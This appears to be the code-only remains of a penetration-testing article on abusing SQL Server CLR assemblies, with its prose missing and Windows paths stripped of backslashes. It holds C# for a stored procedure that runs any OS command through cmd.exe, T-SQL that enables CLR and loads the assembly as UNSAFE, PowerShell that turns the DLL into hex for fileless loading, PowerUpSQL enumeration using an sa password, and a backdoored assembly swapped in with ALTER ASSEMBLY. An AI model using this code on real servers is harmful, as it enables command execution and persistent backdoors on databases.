Attacking SQL Server CLR Assemblies

using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using Microsoft.SqlServer.Server;using System.IO;using System.Diagnostics;using System.Text;
public partial class StoredProcedures{    [Microsoft.SqlServer.Server.SqlProcedure]    public static void cmd_exec (SqlString execCommand)    {        Process proc = new Process();        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);        proc.StartInfo.UseShellExecute = false;        proc.StartInfo.RedirectStandardOutput = true;        proc.Start();
        // Create the record and specify the metadata for the columns.        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));                // Mark the beginning of the result set.        SqlContext.Pipe.SendResultsStart(record);
        // Set values for each column in the row        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        // Send the row back to the client.        SqlContext.Pipe.SendResultsRow(record);                // Mark the end of the result set.        SqlContext.Pipe.SendResultsEnd();                proc.WaitForExit();        proc.Close();    }};

Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs

-- Select the msdb databaseuse msdb
-- Enable show advanced options on the serversp_configure 'show advanced options',1RECONFIGUREGO
-- Enable clr on the serversp_configure 'clr enabled',1RECONFIGUREGO
-- Import the assemblyCREATE ASSEMBLY my_assemblyFROM 'c:tempcmd_exec.dll'WITH PERMISSION_SET = UNSAFE;
-- Link the assembly to a stored procedureCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GO

DROP PROCEDURE cmd_execDROP ASSEMBLY my_assembly

# Target file$assemblyFile = "c:tempcmd_exec.dll"
# Build top of TSQL CREATE ASSEMBLY statement$stringBuilder = New-Object -Type System.Text.StringBuilder $stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
# Read bytes from file$fileStream = [IO.File]::OpenRead($assemblyFile)while (($byte = $fileStream.ReadByte()) -gt -1) {    $stringBuilder.Append($byte.ToString("X2")) | Out-Null}
# Build bottom of TSQL CREATE ASSEMBLY statement$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null$stringBuilder.AppendLine("GO") | Out-Null$stringBuilder.AppendLine(" ") | Out-Null
# Build create procedure command$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null$stringBuilder.AppendLine("GO") | Out-Null$stringBuilder.AppendLine(" ") | Out-Null
# Create run os command$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null$stringBuilder.AppendLine("GO") | Out-Null$stringBuilder.AppendLine(" ") | Out-Null
# Create file containing all commands$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt

-- Select the MSDB databaseUSE msdb
-- Enable clr on the serverSp_Configure ‘clr enabled’, 1RECONFIGUREGO
-- Create assembly from ascii hexCREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000F[TRUNCATED]WITH PERMISSION_SET = UNSAFE GO 
-- Create procedures from the assembly method cmd_execCREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; GO 
-- Run an OS command as the SQL Server service accountEXEC[dbo].[cmd_exec] 'whoami' GO

PS C:temp> Create-SQLFileCLRDll -ProcedureName “runcmd” -OutFile runcmd -OutDir c:tempC# File: c:tempruncmd.cscCLR DLL: c:tempruncmd.dllSQL Cmd: c:tempruncmd.txt

1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }

USE msdb;SELECT      SCHEMA_NAME(so.[schema_id]) AS [schema_name],             af.file_id,                                      af.name + '.dll' as [file_name],            asmbly.clr_name,            asmbly.assembly_id,                       asmbly.name AS [assembly_name],             am.assembly_class,            am.assembly_method,            so.object_id as [sp_object_id],            so.name AS [sp_name],            so.[type] as [sp_type],            asmbly.permission_set_desc,            asmbly.create_date,            asmbly.modify_date,            af.content                                           FROM        sys.assembly_modules amINNER JOIN  sys.assemblies asmblyON          asmbly.assembly_id = am.assembly_idINNER JOIN  sys.assembly_files af ON         asmbly.assembly_id = af.assembly_id INNER JOIN  sys.objects soON          so.[object_id] = am.[object_id]

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

SELECT            pr.name as procname,                        pa.name as param_name,                         TYPE_NAME(system_type_id) as Type,                        pa.max_length,                         pa.has_default_value,                        pa.is_nullable FROM             sys.all_parameters paINNER JOIN         sys.procedures pr on pa.object_id = pr.object_idWHERE             pr.type like 'pc' and pr.name like 'cmd_exec'

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp  -Username sa -Password 'sapassword!' | Format-Table -AutoSize

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize

[SqlProcedure]public static void cmd_exec(SqlString execCommand){    Process expr_05 = new Process();    expr_05.StartInfo.FileName = "C:WindowsSystem32cmd.exe";    expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);    expr_05.StartInfo.UseShellExecute = true;    expr_05.Start();    expr_05.WaitForExit();    expr_05.Close();    Process expr_54 = new Process();    expr_54.StartInfo.FileName = "C:WindowsSystem32cmd.exe";    expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:tempclr_backdoor.txt", execCommand.Value);    expr_54.StartInfo.UseShellExecute = true;    expr_54.Start();    expr_54.WaitForExit();    expr_54.Close();}

PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dllVERBOSE: Target C#  File: NAVERBOSE: Target DLL File: .cmd_exec.dllVERBOSE: Grabbing bytes from the dllVERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txtC# File: NACLR DLL: .cmd_exec.dllSQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt

-- Choose the msdb databaseuse msdb-- Alter the existing CLR assemblyALTER ASSEMBLY [my_assembly] FROM 0x4D5A90000300000004000000F[TRUNCATED]WITH PERMISSION_SET = UNSAFE GO